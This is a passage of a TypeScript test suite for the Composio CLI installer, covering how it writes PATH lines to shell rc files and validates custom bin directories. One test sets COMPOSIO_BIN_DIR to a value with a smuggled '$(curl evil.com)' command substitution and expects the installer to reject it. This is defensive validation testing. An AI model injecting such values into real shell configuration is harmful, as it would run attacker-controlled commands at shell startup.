868 const rcPath = path.join(os.homedir, '.zshrc');
869 yield* fs.remove(rcPath, { force: true, recursive: true });
870 yield* fs.makeDirectory(rcPath);
871
872 const exit = yield* install().pipe(Effect.exit);
873
874 expect(Exit.isFailure(exit)).toBe(true);
875 yield* expectNoTmpLitter(fs, rcPath);
876 })
877 );
878 });
879 });
880
881 describe('[When] COMPOSIO_CLI_INVOCATION_ORIGIN=installer delegates shell setup', () => {
882 layer(InstallTestLive())(it => {
883 it.effect('[Then] keeps the Updated status line but suppresses the restart hint', () =>
884 Effect.gen(function* () {
885 vi.stubEnv('SHELL', '/bin/zsh');
886 vi.stubEnv('COMPOSIO_CLI_INVOCATION_ORIGIN', 'installer');
887
888 yield* install();
889
890 const output = (yield* MockConsole.getLines()).join('\n');
891 expect(output).toContain('Updated ~/.zshrc');
892 expect(output).not.toContain('Restart your shell');
893 expect(output).not.toContain('source ~/.zshrc');
894 })
895 );
896 });
897 });
898
899 describe('[When] COMPOSIO_CLI_INVOCATION_ORIGIN=installer and integration is already current', () => {
900 layer(InstallTestLive())(it => {
901 it.effect('[Then] keeps the already-current status line', () =>
902 Effect.gen(function* () {
903 const os = yield* NodeOs;
904 const fs = yield* FileSystem.FileSystem;
905 vi.stubEnv('SHELL', '/bin/zsh');
906 vi.stubEnv('COMPOSIO_CLI_INVOCATION_ORIGIN', 'installer');
907 const expectedBinDir = expectedRuntimeBinDir();
908
909 const rcPath = path.join(os.homedir, '.zshrc');
910 yield* fs.writeFileString(
911 rcPath,
912 `# Composio CLI\nexport PATH="${expectedBinDir}:$PATH"\n`
913 );
914
915 yield* install();
916
917 const output = (yield* MockConsole.getLines()).join('\n');
918 expect(output).toContain('Shell integration already configured');
919 expect(output).not.toContain('Restart your shell');
920 })
921 );
922 });
923 });
924
925 describe('[When] COMPOSIO_CLI_INVOCATION_ORIGIN has a non-installer value', () => {
926 layer(InstallTestLive())(it => {
927 it.effect('[Then] the restart hint still prints', () =>
928 Effect.gen(function* () {
929 vi.stubEnv('SHELL', '/bin/zsh');
930 vi.stubEnv('COMPOSIO_CLI_INVOCATION_ORIGIN', 'agent');
931
932 yield* install();
933
934 const output = (yield* MockConsole.getLines()).join('\n');
935 expect(output).toContain('Updated ~/.zshrc');
936 expect(output).toContain('Restart your shell to apply changes');
937 expect(output).toContain('source ~/.zshrc');
938 })
939 );
940 });
941 });
942
943 describe('[When] shell cannot be detected', () => {
944 layer(InstallTestLive())(it => {
945 it.effect('[Then] shows manual setup instructions', () =>
946 Effect.gen(function* () {
947 vi.stubEnv('SHELL', '');
948 const expectedBinDir = expectedRuntimeBinDir();
949
950 yield* install();
951
952 const lines = yield* MockConsole.getLines();
953 const output = lines.join('\n');
954 expect(output).toContain('Could not detect your shell');
955 expect(output).toContain(`export PATH="${expectedBinDir}:$PATH"`);
956 expect(output).not.toContain('COMPOSIO_INSTALL_DIR');
957 expect(output).toContain('Manual setup required.');
958 })
959 );
960 });
961 });
962
963 describe('[When] shell cannot be detected but the bin dir is already on $PATH', () => {
964 layer(InstallTestLive())(it => {
965 it.effect('[Then] reports already on PATH instead of asking for manual setup', () =>
966 Effect.gen(function* () {
967 const os = yield* NodeOs;
968 vi.stubEnv('SHELL', '');
969 const binDir = expectedRuntimeBinDir();
970 vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);
971
972 yield* install();
973
974 const lines = yield* MockConsole.getLines();
975 const output = lines.join('\n');
976 expect(output).toContain('already on $PATH');
977 expect(output).toContain('Done');
978 expect(output).not.toContain('Could not detect your shell');
979
980 const fs = yield* FileSystem.FileSystem;
981 expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);
982 expect(yield* fs.exists(path.join(os.homedir, '.bashrc'))).toBe(false);
983 })
984 );
985 });
986 });
987
988 describe('[When] stderr is captured rather than a terminal', () => {
989 layer(InstallTestLive({ terminalUI: capturedStderrUI }))(it => {
990 it.effect('[Then] still reports the rc file and how to reload the shell', () =>
991 Effect.gen(function* () {
992 vi.stubEnv('SHELL', '/bin/zsh');
993
994 yield* install();
995
996 const output = capturedStderr.chunks.join('');
997 expect(output).toContain('PATH: will add');
998 expect(output).toContain('Updated ~/.zshrc');
999 expect(output).toContain('Restart your shell to apply changes');
1000 expect(output).toContain('source ~/.zshrc');
1001 })
1002 );
1003
1004 it.effect('[Then] still shows manual setup instructions for an unknown shell', () =>
1005 Effect.gen(function* () {
1006 vi.stubEnv('SHELL', '');
1007 const expectedBinDir = expectedRuntimeBinDir();
1008
1009 yield* install();
1010
1011 const output = capturedStderr.chunks.join('');
1012 expect(output).toContain('Could not detect your shell');
1013 expect(output).toContain(`export PATH="${expectedBinDir}:$PATH"`);
1014 })
1015 );
1016 });
1017 });
1018
1019 describe('[When] --shell zsh overrides a conflicting $SHELL', () => {
1020 layer(InstallTestLive())(it => {
1021 it.effect('[Then] writes ~/.zshrc, not ~/.bashrc', () =>
1022 Effect.gen(function* () {
1023 const os = yield* NodeOs;
1024 vi.stubEnv('SHELL', '/bin/bash');
1025
1026 yield* install({ shell: 'zsh' });
1027
1028 const fs = yield* FileSystem.FileSystem;
1029 expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(true);
1030 expect(yield* fs.exists(path.join(os.homedir, '.bashrc'))).toBe(false);
1031 })
1032 );
1033 });
1034 });
1035
1036 describe('[When] --shell is parsed by the public CLI', () => {
1037 layer(InstallTestLive())(it => {
1038 it.effect('[Then] a valid override reaches the requested shell integration', () =>
1039 Effect.gen(function* () {
1040 const os = yield* NodeOs;
1041 const fs = yield* FileSystem.FileSystem;
1042 vi.stubEnv('SHELL', '/bin/bash');
1043
1044 yield* cli(['install', '--shell', 'zsh']);
1045
1046 expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(true);
1047 expect(yield* fs.exists(path.join(os.homedir, '.bashrc'))).toBe(false);
1048 })
1049 );
1050 });
1051 });
1052
1053 describe('[When] --shell has an unsupported value', () => {
1054 layer(InstallTestLive())(it => {
1055 it.effect('[Then] the public CLI rejects it during option parsing', () =>
1056 Effect.gen(function* () {
1057 const exit = yield* cli(['install', '--shell', 'powershell']).pipe(Effect.exit);
1058 expect(Exit.isFailure(exit)).toBe(true);
1059 })
1060 );
1061 });
1062 });
1063
1064 describe('[When] both completion flags are parsed by the public CLI', () => {
1065 layer(InstallTestLive())(it => {
1066 it.effect('[Then] --no-completions takes precedence', () =>
1067 Effect.gen(function* () {
1068 const os = yield* NodeOs;
1069 const fs = yield* FileSystem.FileSystem;
1070 vi.stubEnv('SHELL', '/bin/bash');
1071
1072 yield* cli(['install', '--completions', '--no-completions']);
1073
1074 const contents = yield* fs.readFileString(path.join(os.homedir, '.bashrc'));
1075 expect(contents).toContain('# Composio CLI');
1076 expect(contents).not.toContain('# Composio CLI completions');
1077 })
1078 );
1079 });
1080 });
1081
1082 describe('[When] --shell and --completions are combined on the public CLI', () => {
1083 layer(InstallTestLive())(it => {
1084 it.effect('[Then] the overridden shell gets both the PATH block and completions', () =>
1085 Effect.gen(function* () {
1086 const os = yield* NodeOs;
1087 const fs = yield* FileSystem.FileSystem;
1088 vi.stubEnv('SHELL', '/bin/zsh');
1089 const expectedBinDir = expectedRuntimeBinDir();
1090
1091 yield* cli(['install', '--shell', 'bash', '--completions']);
1092
1093 const contents = yield* fs.readFileString(path.join(os.homedir, '.bashrc'));
1094 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
1095 expect(contents).toContain('# Composio CLI completions');
1096 expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);
1097 })
1098 );
1099 });
1100 });
1101
1102 describe('[When] --shell bash overrides a conflicting $SHELL', () => {
1103 layer(InstallTestLive())(it => {
1104 it.effect('[Then] writes ~/.bashrc, not ~/.zshrc', () =>
1105 Effect.gen(function* () {
1106 const os = yield* NodeOs;
1107 vi.stubEnv('SHELL', '/bin/zsh');
1108
1109 yield* install({ shell: 'bash' });
1110
1111 const fs = yield* FileSystem.FileSystem;
1112 expect(yield* fs.exists(path.join(os.homedir, '.bashrc'))).toBe(true);
1113 expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);
1114 })
1115 );
1116 });
1117 });
1118
1119 describe('[When] --shell fish is passed with $SHELL unset', () => {
1120 layer(InstallTestLive())(it => {
1121 it.effect('[Then] writes config.fish', () =>
1122 Effect.gen(function* () {
1123 const os = yield* NodeOs;
1124 vi.stubEnv('SHELL', '');
1125
1126 yield* install({ shell: 'fish' });
1127
1128 const fs = yield* FileSystem.FileSystem;
1129 const rcPath = path.join(os.homedir, '.config', 'fish', 'config.fish');
1130 expect(yield* fs.exists(rcPath)).toBe(true);
1131 })
1132 );
1133 });
1134 });
1135
1136 describe('[When] --shell is explicit and the bin dir is already on the invoking $PATH', () => {
1137 layer(InstallTestLive())(it => {
1138 it.effect('[Then] still writes the requested shell, and re-running stays idempotent', () =>
1139 Effect.gen(function* () {
1140 const os = yield* NodeOs;
1141 vi.stubEnv('SHELL', '/bin/bash');
1142 const binDir = expectedRuntimeBinDir();
1143 vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);
1144
1145 yield* install({ shell: 'zsh' });
1146 yield* install({ shell: 'zsh' });
1147
1148 const fs = yield* FileSystem.FileSystem;
1149 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1150 const markerCount = contents.match(/^# Composio CLI$/gm)?.length ?? 0;
1151 expect(markerCount).toBe(1);
1152 })
1153 );
1154 });
1155 });
1156
1157 describe('[When] auto-detected shell has its bin dir already on the invoking $PATH', () => {
1158 layer(InstallTestLive())(it => {
1159 it.effect('[Then] the rc file is still written, since a transient $PATH proves nothing', () =>
1160 Effect.gen(function* () {
1161 const os = yield* NodeOs;
1162 vi.stubEnv('SHELL', '/bin/zsh');
1163 const binDir = expectedRuntimeBinDir();
1164 vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);
1165
1166 yield* install();
1167
1168 const fs = yield* FileSystem.FileSystem;
1169 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1170 expect(contents).toContain(`export PATH="${binDir}:$PATH"`);
1171
1172 const lines = yield* MockConsole.getLines();
1173 const output = lines.join('\n');
1174 expect(output).toContain('PATH: will add');
1175 expect(output).toContain('Restart your shell');
1176 })
1177 );
1178 });
1179 });
1180
1181 describe('[When] a new .bash_profile appears after .bashrc was already configured', () => {
1182 layer(InstallTestLive())(it => {
1183 it.effect('[Then] the new .bash_profile gets the PATH block and .bashrc is left alone', () =>
1184 Effect.gen(function* () {
1185 const os = yield* NodeOs;
1186 const fs = yield* FileSystem.FileSystem;
1187 vi.stubEnv('SHELL', '/bin/bash');
1188 const binDir = expectedRuntimeBinDir();
1189 vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);
1190
1191 // Simulate a prior `composio install` run that already configured .bashrc.
1192 const bashrcPath = path.join(os.homedir, '.bashrc');
1193 yield* fs.writeFileString(bashrcPath, `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`);
1194
1195 // .bash_profile shows up afterward and was never configured.
1196 const bashProfilePath = path.join(os.homedir, '.bash_profile');
1197 yield* fs.writeFileString(bashProfilePath, '# existing login config\n');
1198
1199 yield* install();
1200
1201 const bashProfileContents = yield* fs.readFileString(bashProfilePath);
1202 expect(bashProfileContents).toContain('# Composio CLI');
1203 // .bashrc already carries the exact current line, so it is untouched.
1204 expect(yield* fs.readFileString(bashrcPath)).toBe(
1205 `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`
1206 );
1207 })
1208 );
1209 });
1210 });
1211
1212 describe('[When] COMPOSIO_BIN_DIR is set to a custom directory', () => {
1213 layer(InstallTestLive())(it => {
1214 it.effect('[Then] --shell zsh writes a PATH line for the custom directory', () =>
1215 Effect.gen(function* () {
1216 const os = yield* NodeOs;
1217 vi.stubEnv('SHELL', '/bin/bash');
1218 vi.stubEnv('COMPOSIO_BIN_DIR', '/custom/bin');
1219
1220 yield* install({ shell: 'zsh' });
1221
1222 const fs = yield* FileSystem.FileSystem;
1223 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1224 expect(contents).toContain('export PATH="/custom/bin:$PATH"');
1225 expect(contents).not.toContain('$HOME');
1226 })
1227 );
1228 });
1229 });
1230
1231 describe('[When] COMPOSIO_BIN_DIR is whitespace-only', () => {
1232 layer(InstallTestLive())(it => {
1233 it.effect('[Then] it is treated as unset, not as a literal bin dir', () =>
1234 Effect.gen(function* () {
1235 const os = yield* NodeOs;
1236 vi.stubEnv('SHELL', '/bin/zsh');
1237 vi.stubEnv('COMPOSIO_BIN_DIR', ' ');
1238 const expectedBinDir = expectedRuntimeBinDir();
1239
1240 yield* install();
1241
1242 const fs = yield* FileSystem.FileSystem;
1243 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1244 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
1245 })
1246 );
1247 });
1248 });
1249
1250 describe('[When] COMPOSIO_BIN_DIR has surrounding whitespace around a real value', () => {
1251 layer(InstallTestLive())(it => {
1252 it.effect('[Then] the surrounding whitespace is trimmed before it is used', () =>
1253 Effect.gen(function* () {
1254 const os = yield* NodeOs;
1255 vi.stubEnv('SHELL', '/bin/zsh');
1256 vi.stubEnv('COMPOSIO_BIN_DIR', ' /custom/bin ');
1257
1258 yield* install();
1259
1260 const fs = yield* FileSystem.FileSystem;
1261 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1262 expect(contents).toContain('export PATH="/custom/bin:$PATH"');
1263 })
1264 );
1265 });
1266 });
1267
1268 describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin/composio is the running executable', () => {
1269 layer(TestLive({ execPath: '.local/bin/composio' }))(it => {
1270 it.effect('[Then] the PATH line targets ~/.local/bin via a literal $HOME prefix', () =>
1271 Effect.gen(function* () {
1272 const os = yield* NodeOs;
1273 const fs = yield* FileSystem.FileSystem;
1274 vi.stubEnv('SHELL', '/bin/zsh');
1275
1276 const localBinDir = path.join(os.homedir, '.local', 'bin');
1277 const localBinComposio = path.join(localBinDir, 'composio');
1278 yield* fs.makeDirectory(localBinDir, { recursive: true });
1279 yield* fs.writeFileString(localBinComposio, '#!/bin/sh\n');
1280
1281 yield* install();
1282
1283 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1284 expect(contents).toContain('export PATH="$HOME/.local/bin:$PATH"');
1285 expect(contents).not.toContain('~/.local/bin');
1286 })
1287 );
1288 });
1289 });
1290
1291 describe('[When] ~/.local/bin/composio is a symlink chain to the running executable', () => {
1292 layer(TestLive({ execPath: '.composio-dist/composio' }))(it => {
1293 it.effect('[Then] the PATH line still targets ~/.local/bin', () =>
1294 Effect.gen(function* () {
1295 const os = yield* NodeOs;
1296 const fs = yield* FileSystem.FileSystem;
1297 vi.stubEnv('SHELL', '/bin/zsh');
1298
1299 const execDir = path.join(os.homedir, '.composio-dist');
1300 const execFile = path.join(execDir, 'composio');
1301 const intermediateLink = path.join(os.homedir, '.composio-launcher');
1302 const localBinDir = path.join(os.homedir, '.local', 'bin');
1303 yield* fs.makeDirectory(execDir, { recursive: true });
1304 yield* fs.makeDirectory(localBinDir, { recursive: true });
1305 yield* fs.writeFileString(execFile, '#!/bin/sh\n');
1306 yield* fs.symlink(execFile, intermediateLink);
1307 yield* fs.symlink(intermediateLink, path.join(localBinDir, 'composio'));
1308
1309 yield* install();
1310
1311 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1312 expect(contents).toContain('export PATH="$HOME/.local/bin:$PATH"');
1313 })
1314 );
1315 });
1316 });
1317
1318 describe('[When] ~/.local/bin/composio is a foreign program (e.g. a leftover pip install)', () => {
1319 layer(InstallTestLive())(it => {
1320 it.effect('[Then] the PATH line targets the running executable directory instead', () =>
1321 Effect.gen(function* () {
1322 const os = yield* NodeOs;
1323 const fs = yield* FileSystem.FileSystem;
1324 vi.stubEnv('SHELL', '/bin/zsh');
1325 const expectedBinDir = expectedRuntimeBinDir();
1326
1327 const localBinDir = path.join(os.homedir, '.local', 'bin');
1328 yield* fs.makeDirectory(localBinDir, { recursive: true });
1329 yield* fs.writeFileString(path.join(localBinDir, 'composio'), '#!/usr/bin/env python\n');
1330
1331 yield* install();
1332
1333 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1334 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
1335 expect(contents).not.toContain('.local/bin');
1336 })
1337 );
1338 });
1339 });
1340
1341 describe('[When] COMPOSIO_BIN_DIR is set and ~/.local/bin/composio is also the running executable', () => {
1342 layer(InstallTestLive({ execPath: '.local/bin/composio' }))(it => {
1343 it.effect('[Then] the env var wins over the ~/.local/bin fallback', () =>
1344 Effect.gen(function* () {
1345 const os = yield* NodeOs;
1346 const fs = yield* FileSystem.FileSystem;
1347 vi.stubEnv('SHELL', '/bin/zsh');
1348 vi.stubEnv('COMPOSIO_BIN_DIR', '/custom/bin');
1349
1350 const localBinDir = path.join(os.homedir, '.local', 'bin');
1351 const localBinComposio = path.join(localBinDir, 'composio');
1352 yield* fs.makeDirectory(localBinDir, { recursive: true });
1353 yield* fs.writeFileString(localBinComposio, '#!/bin/sh\n');
1354
1355 yield* install();
1356
1357 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1358 expect(contents).toContain('export PATH="/custom/bin:$PATH"');
1359 expect(contents).not.toContain('.local/bin');
1360 })
1361 );
1362 });
1363 });
1364
1365 describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin has no composio entry point', () => {
1366 layer(InstallTestLive())(it => {
1367 it.effect('[Then] the PATH line targets the real binary directory', () =>
1368 Effect.gen(function* () {
1369 const os = yield* NodeOs;
1370 vi.stubEnv('SHELL', '/bin/zsh');
1371 const expectedBinDir = expectedRuntimeBinDir();
1372
1373 yield* install();
1374
1375 const fs = yield* FileSystem.FileSystem;
1376 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1377 expect(contents).toContain(`export PATH="${expectedBinDir}:$PATH"`);
1378 })
1379 );
1380 });
1381 });
1382
1383 describe('[When] COMPOSIO_BIN_DIR contains characters that expand inside double quotes', () => {
1384 layer(InstallTestLive())(it => {
1385 it.effect('[Then] aborts with an error', () =>
1386 Effect.gen(function* () {
1387 vi.stubEnv('SHELL', '/bin/zsh');
1388 vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x$(curl evil.com)');
1389
1390 const error = yield* install().pipe(Effect.flip);
1391 expect(error).toBeInstanceOf(ShellSetupAbortError);
1392
1393 const lines = yield* MockConsole.getLines();
1394 const output = lines.join('\n');
1395 expect(output).toContain('Resolved bin directory');
1396 expect(output).toContain('unsafe characters');
1397 expect(output).toContain('Aborted');
1398 })
1399 );
1400 });
1401 });
1402
1403 describe('[When] COMPOSIO_BIN_DIR is relative', () => {
1404 layer(InstallTestLive())(it => {
1405 it.effect('[Then] aborts instead of persisting a relative PATH entry', () =>
1406 Effect.gen(function* () {
1407 vi.stubEnv('SHELL', '/bin/zsh');
1408 vi.stubEnv('COMPOSIO_BIN_DIR', './bin');
1409
1410 const error = yield* install().pipe(Effect.flip);
1411 expect(error).toBeInstanceOf(ShellSetupAbortError);
1412
1413 const output = (yield* MockConsole.getLines()).join('\n');
1414 expect(output).toContain('must be an absolute path');
1415 expect(output).toContain('Aborted');
1416 })
1417 );
1418 });
1419 });
1420
1421 describe('[When] COMPOSIO_BIN_DIR contains a PATH delimiter', () => {
1422 layer(InstallTestLive())(it => {
1423 it.effect('[Then] aborts instead of persisting multiple PATH entries', () =>
1424 Effect.gen(function* () {
1425 vi.stubEnv('SHELL', '/bin/zsh');
1426 vi.stubEnv('COMPOSIO_BIN_DIR', '/custom/bin:/tmp/extra');
1427
1428 const error = yield* install().pipe(Effect.flip);
1429 expect(error).toBeInstanceOf(ShellSetupAbortError);
1430
1431 const output = (yield* MockConsole.getLines()).join('\n');
1432 expect(output).toContain('Resolved bin directory');
1433 expect(output).toContain('unsafe characters');
1434 expect(output).toContain('Aborted');
1435 })
1436 );
1437 });
1438 });
1439
1440 describe('[When] the resolved bin dir contains an apostrophe', () => {
1441 layer(InstallTestLive({ execPath: "/opt/o'brien/bin/composio" }))(it => {
1442 it.effect("[Then] it is written verbatim, since `'` is literal inside double quotes", () =>
1443 Effect.gen(function* () {
1444 const os = yield* NodeOs;
1445 const fs = yield* FileSystem.FileSystem;
1446 vi.stubEnv('SHELL', '/bin/zsh');
1447
1448 yield* install();
1449
1450 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1451 expect(contents).toContain(`export PATH="/opt/o'brien/bin:$PATH"`);
1452 })
1453 );
1454 });
1455 });
1456
1457 describe('[When] the runtime executable resolves to an unsafe directory', () => {
1458 layer(InstallTestLive({ execPath: '/tmp/we`ird/composio' }))(it => {
1459 it.effect('[Then] reports an origin-neutral error', () =>
1460 Effect.gen(function* () {
1461 vi.stubEnv('SHELL', '/bin/zsh');
1462
1463 const error = yield* install().pipe(Effect.flip);
1464 expect(error).toBeInstanceOf(ShellSetupAbortError);
1465
1466 const output = (yield* MockConsole.getLines()).join('\n');
1467 expect(output).toContain('Resolved bin directory');
1468 expect(output).not.toContain('COMPOSIO_BIN_DIR contains');
1469 expect(output).toContain('Aborted');
1470 })
1471 );
1472 });
1473 });
1474 });